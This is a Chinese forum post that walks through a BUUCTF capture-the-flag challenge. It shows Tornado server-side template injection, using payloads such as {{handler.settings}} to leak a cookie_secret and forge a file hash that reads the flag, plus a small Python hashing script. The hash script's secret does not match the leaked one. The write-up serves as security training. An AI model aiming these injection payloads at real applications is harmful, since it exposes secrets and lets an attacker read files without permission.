登录后更精彩...O(∩_∩)O...
您需要 登录 才可以下载或查看,没有账号?立即注册
×
BUUCTF靶场20 -- [护网杯 2018]easy_tornado
1. 信息收集
/flag.txt
[Plain Text] 纯文本查看 复制代码 /flag.txt
flag in /fllllllllllllag
/welcome.txt
[Plain Text] 纯文本查看 复制代码 /welcome.txt
render
/hints.txt
[AppleScript] 纯文本查看 复制代码 /hints.txt
md5(cookie_secret+md5(filename))
请求格式:
[PHP] 纯文本查看 复制代码 /file?filename=/hints.txt&filehash=426677fa5ba815729950a629e2b5b78e
构造payload
网址里有参数filename和filehash推测这里flag应该是
/file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(fllllllllllllag))
少一个cookie_secret,welcome.txt提醒是render,又根据题目easy_tornado可推测是服务器模板注入。
扩展:SSTI注入
SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。
服务端模板:相当于很多公式,根据变量输出结果。这里的模板就是模板引擎根据数据自动生成前端页面。
常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。
sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。
SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。错误的执行了用户输入。类比于 sql注入。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2、mako、tornado、django,php的smarty、twig,java的jade、velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
因为render() 是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。
tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。
那我们开始初步尝试:
[PHP] 纯文本查看 复制代码 /file?filename=/fllllllllllllag&filehash={{1}}
为什么使用双花括号?
Tornado templates support control statements and expressions. Control statements are surrounded by {% %}, e.g. {% if len(items) > 2 %}.
Expressions are surrounded by {{ }}, e.g. {{ items[0] }}.
得到关键报错信息:[PHP] 纯文本查看 复制代码 http://8febaaca-6099-4ad6-8e58-fe9ff9744fb9.node4.buuoj.cn:81/error?msg=Error
模板注入必须通过传输型如{{xxx}}的执行命令。 探测方法很简单: [PHP] 纯文本查看 复制代码 error?msg={{7*7}} 和 error?msg={{7}} 发现当输入7*7时,返回orz;输入7时,返回7,说明此处是存在SSTI注入漏洞的。 说明可以注入,但*可能被过滤 因为存在注入点,所以我们需要寻找cookie_secret路径 百度发现,其存在位置为handler.settings 搜素百度得Tornado框架的附属文件handler.settings中存在cookie_secret
Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象
RequestHandler中并没有settings这个属性,与RequestHandler关联的Application对象(Requestion.application)才有setting这个属性
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
此时构造payload:
[PHP] 纯文本查看 复制代码 http://8febaaca-6099-4ad6-8e58-fe9ff9744fb9.node4.buuoj.cn:81/error?msg={{handler.settings}}
返回:
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'dfe93242-9144-4932-9aff-27396071bb40'}
/file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(fllllllllllllag))
/file?filename=/fllllllllllllag&filehash=md5('dfe93242-9144-4932-9aff-27396071bb40'+'3bf9f6cf685a6dd8defadabfb41a03a1')
/file?filename=/fllllllllllllag&filehash=34f528b90ce71d36d741f5d89fd3fd85
得到flag
/fllllllllllllag
flag{3c6d48f1-a4da-427c-98ba-4aab5d37b3d3}
[Python] 纯文本查看 复制代码 #coding:utf-8
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s.encode("utf8"))
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = '86453dc7-a1f0-4636-b0c8-bfd7ed05aa03'
print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':
filehash()
https://www.sojson.com/encrypt_md5.html

参考:
1. https://blog.csdn.net/qq_51927659/article/details/116031923
2. https://blog.csdn.net/qq_62414126/article/details/124514254
3. https://www.cnblogs.com/darkerg/p/15005379.html
4. https://blog.csdn.net/qq_62414126/article/details/124514254
|